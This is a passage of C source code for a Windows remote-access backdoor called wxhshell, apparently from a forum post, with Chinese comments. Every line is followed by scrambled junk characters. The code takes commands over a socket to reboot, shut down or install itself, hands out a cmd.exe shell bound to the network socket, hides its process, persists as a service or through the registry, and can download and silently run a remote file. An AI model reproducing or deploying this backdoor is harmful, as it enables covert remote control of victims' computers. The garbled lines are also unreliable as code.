  // 帮助 LBhDP5qF  
  case '?': { HwZ@T &_4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N*>&XJ#  
    break; IeE6?!,)  
  } 5' 3H$%dC  
  // 安装 T4"*w  
  case 'i': { x*F_XE1#M  
    if(Install()) jX91=78d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M4}zRr([.5  
    else &uu69)u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f1/i f:~6  
    break; At8^yF   
    } 6b=7{nLF  
  // 卸载 >zcp(M98  
  case 'r': { ,6^V)F  
    if(Uninstall()) e&XJK*Wf   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0Ke4c  
    else T9Pu V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? `#  
    break; &0@AM_b  
    } ?rububDT{  
  // 显示 wxhshell 所在路径 nA XWbavY  
  case 'p': { @?<1~/sfL  
    char svExeFile[MAX_PATH]; 7.1FRxS  
    strcpy(svExeFile,"\n\r"); )m$i``*<  
      strcat(svExeFile,ExeFile);  EoHrXv  
        send(wsh,svExeFile,strlen(svExeFile),0); $PKUcT0N9  
    break; J k FZd  
    } U^xtS g  
  // 重启 ln=:E$jX  
  case 'b': { KH76Vts  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L@LT*M  
    if(Boot(REBOOT)) P}bwEj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wE09%  
    else { CjlA"_!%E  
    closesocket(wsh); ao)8ie  
    ExitThread(0); E@^mlUf  
    } 2o9IP>#u  
    break; D,;6$Pvg^  
    } G_n~1?  
  // 关机 }h`ddo  
  case 'd': { bjGQ04da  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1 gx(L*y,  
    if(Boot(SHUTDOWN)) {'eF;!!Dy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]5i]2r1  
    else { &Kc'g H  
    closesocket(wsh); u}IQ)Ma  
    ExitThread(0); BvV!?DY4  
    } )qV&sru.$  
    break; RkXW(T`  
    } [^E{Yz=8,  
  // 获取shell `?xE-S ;Pn  
  case 's': {  8&KqrA86  
    CmdShell(wsh); 8 n)3'ok  
    closesocket(wsh); Nc[V kJ]  
    ExitThread(0); `z!?!"=  
    break; _i+7O^=d6X  
  } ?o6\>[O  
  // 退出 CaqMLi%  
  case 'x': { lC(g&(\{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QF`o%mI  
    CloseIt(wsh); wZ =*ejo  
    break; K+J fU J  
    } ~ 'L`RJR  
  // 离开 [I7([l1Wvd  
  case 'q': { #^&.*' z%z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 66shr  
    closesocket(wsh); ,2 _!hm /  
    WSACleanup(); @jevY81)  
    exit(1); 5Dlx]_  
    break; Qp]-4%^Vz  
        } 1brKs-z  
  } ZRo-=/1  
  } :*{\oqFn~$  
TdH~ sz  
  // 提示信息 9J'3b <  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h9L/.>CX  
} GLIP;)h1  
  } sOLR*=F{  
&24z`ZS[w6  
  return; h9 &V   
} f.y~Sew  
`T;Y%"X!  
// shell模块句柄 n32.W?9  
int CmdShell(SOCKET sock) |;6l1]hk6  
{ Ffp<|2T2_  
STARTUPINFO si; z ''-AH,  
ZeroMemory(&si,sizeof(si)); fKZgAISF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <E.$4/T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Lm%zdk*k  
PROCESS_INFORMATION ProcessInfo; ;NzS;C'  
char cmdline[]="cmd"; Nt#a_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lKF<]25  
  return 0; o{&UT VyGs  
} PofHe  
'uOzC"_yF  
// 自身启动模式 \4e6\6 +  
int StartFromService(void) nmrYBw>  
{ %[C-KQH  
typedef struct ,"W.A  
{ X}gnO83  
  DWORD ExitStatus; 4C{3>BE  
  DWORD PebBaseAddress; !HP/`R  
  DWORD AffinityMask; P?P))UB5  
  DWORD BasePriority; Ho:X.Z9A^  
  ULONG UniqueProcessId; !1\j D  
  ULONG InheritedFromUniqueProcessId; DfQD!}=  
}   PROCESS_BASIC_INFORMATION; az2CFd^M  
8fwM)DKS  
PROCNTQSIP NtQueryInformationProcess; .xp|w^  
Ew kZzVuX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t846:Z%[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a:3f>0_t  
Ly$s0.!  
  HANDLE             hProcess; z.7'yJIP#  
  PROCESS_BASIC_INFORMATION pbi; )bG d++2  
)4P5i b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]XH}G9X^  
  if(NULL == hInst ) return 0; JrdH6Zg  
)d|hIW]7(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1#3 Qa{i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MYb^ILz H3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C8 b%r|^#  
Ag!#epi{0  
  if (!NtQueryInformationProcess) return 0; !bHM:!6^  
a~-^$Fzgy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S3k>34_%9  
  if(!hProcess) return 0; hsUP5_  
T?Dq2UW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CF`fn6  
tyLR_@i%%  
  CloseHandle(hProcess); KQ x<{-G6  
3[jk}2R';p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *G{Zo*2< i  
if(hProcess==NULL) return 0; [}OL@num  
*ppb 4R;CW  
HMODULE hMod; j;k(AM<  
char procName[255]; m9Uoq[1  
unsigned long cbNeeded; E+&]96*Lby  
ew n/@;E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |UO1vA@  
2.K"+%  
  CloseHandle(hProcess); /e5Fx  
jnoFNIW   
if(strstr(procName,"services")) return 1; // 以服务启动 q$Ol"K@  
(pjmE7 `"P  
  return 0; // 注册表启动 afZPju"-  
} zq5_&AeW  
)^&)f!f  
// 主模块 LQMVC^ G  
int StartWxhshell(LPSTR lpCmdLine) W`PK9juu  
{ sKX%<n$  
  SOCKET wsl; S"=o U}'|  
BOOL val=TRUE; e XU;UO^  
  int port=0; DT=!  
  struct sockaddr_in door; `f:5w^A  
a`w)awb  
  if(wscfg.ws_autoins) Install(); Kup-O u,  
>Q~"/-bN)  
port=atoi(lpCmdLine); L?^C\g6u]  
+M\*C#  
if(port<=0) port=wscfg.ws_port; ] 05Q4  
tc{23Rf%  
  WSADATA data; b'N"?W^YQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (WW,]#^  
"gCSbMq(Vq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B(MO!GNg=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n^/,>7J   
  door.sin_family = AF_INET; b)u9#%Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ``kKi3TWJ  
  door.sin_port = htons(port); r)mm8MI!Z  
)N-+,Ms  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q\[31$i$  
closesocket(wsl); w9}I*Nra  
return 1; l1o dkNf|  
} rr4yJ;qpeP  
p Nu13o~  
  if(listen(wsl,2) == INVALID_SOCKET) { %a/O7s6  
closesocket(wsl); e?G*q)l  
return 1; 1ezQzc2-R  
} [,5clR=F  
  Wxhshell(wsl); -X4`,0y%{O  
  WSACleanup(); GX_Lxc_<f  
{\t:{.F A  
return 0; q9Y0Lk  
^ d"tymDd  
} (6\A"jey\x  
,ASY &J5)7  
// 以NT服务方式启动 =]E1T8|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4PUM.%  
{ T6H"ER$  
DWORD   status = 0; iA ZtV'VQ)  
  DWORD   specificError = 0xfffffff; vS<;:3  
q0y?$XS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /KKX;L[D(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oRu S_X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A|>a Gy  
  serviceStatus.dwWin32ExitCode     = 0; wCvD4C.WH  
  serviceStatus.dwServiceSpecificExitCode = 0; t9pPG{1  
  serviceStatus.dwCheckPoint       = 0; nbpN+a%  
  serviceStatus.dwWaitHint       = 0; Zt` ,DM  
xs &vgel>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,75,~  
  if (hServiceStatusHandle==0) return; l!iB -?'u  
dl{3fldb  
status = GetLastError(); L761m7J]B  
  if (status!=NO_ERROR) lQ+-g#`  
{ C-6+ZIk4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _k+Bj.L  
    serviceStatus.dwCheckPoint       = 0; *rEW@06^\  
    serviceStatus.dwWaitHint       = 0; iCx'`^HnP  
    serviceStatus.dwWin32ExitCode     = status; N&>D/Z;"  
    serviceStatus.dwServiceSpecificExitCode = specificError; QW2% Gv:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \iVYhl  
    return; 1<R \V  
  } sZ4H\  
tOko %vY8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <1jiU%!w  
  serviceStatus.dwCheckPoint       = 0; [1vrv(u>  
  serviceStatus.dwWaitHint       = 0; \+Cp<Hv+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); */8\Z46z  
} kD; BwU[  
]c5GG!E-g  
// 处理NT服务事件,比如:启动、停止 orU4{.e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1g/mzC   
{ Bv=Z*"Fv  
switch(fdwControl) rfPJBD{Ve  
{ /|DQ_<*  
case SERVICE_CONTROL_STOP: <g%xo"  
  serviceStatus.dwWin32ExitCode = 0; ;%82Z4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d#z67Nl6  
  serviceStatus.dwCheckPoint   = 0; "{0kg'fU  
  serviceStatus.dwWaitHint     = 0; vOP[ND=T  
  { zR<jZwo]#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :e9E#o  
  } |n &6z  
  return; i'EXylb  
case SERVICE_CONTROL_PAUSE: 5g&'n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a,tP.Xsl  
  break; j/Kw-h ,5"  
case SERVICE_CONTROL_CONTINUE: Kc{wv/6}T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }M~AkJL  
  break; (?3( =+t  
case SERVICE_CONTROL_INTERROGATE: ?NwFpSB2  
  break; r-V./M@L  
}; '/p5tw8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l`u*,"$  
} eeX)JC0A  
(p2a{v}fEz  
// 标准应用程序主函数 w\QpQ~OX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g+CH F?O  
{ rj5:Y QEH;  
-FPl",f=r  
// 获取操作系统版本 F% |(pHk  
OsIsNt=GetOsVer(); kR_[p._  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PRUGUHY  
JEd/j zR(  
  // 从命令行安装 \4&g5vE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6RtpB\hq  
'\;tmD"N5#  
  // 下载执行文件 9(I4x]`  
if(wscfg.ws_downexe) { d8K^`k+x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f[ywC$en  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1GNA x\(  
} SVHtv0Nx  
nAYjSE  
if(!OsIsNt) { /[-hJ=< Yb  
// 如果时win9x,隐藏进程并且设置为注册表启动 u/zfx ;K  
HideProc(); { p/m+m  
StartWxhshell(lpCmdLine); \E30.>%,  
} {!4%Z9G  
else aD:+,MZ  
  if(StartFromService()) aqN.5'2\  
  // 以服务方式启动 5Tu.2.)N  
  StartServiceCtrlDispatcher(DispatchTable); :`|,a (  
else *5NffiA}-  
  // 普通方式启动 St3~Y{aI|  
  StartWxhshell(lpCmdLine); ,8 .`;  
dvf*w:5K!  
return 0; Z~R i%XG  
}
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只看该作者 1 发表于: 2006-10-10
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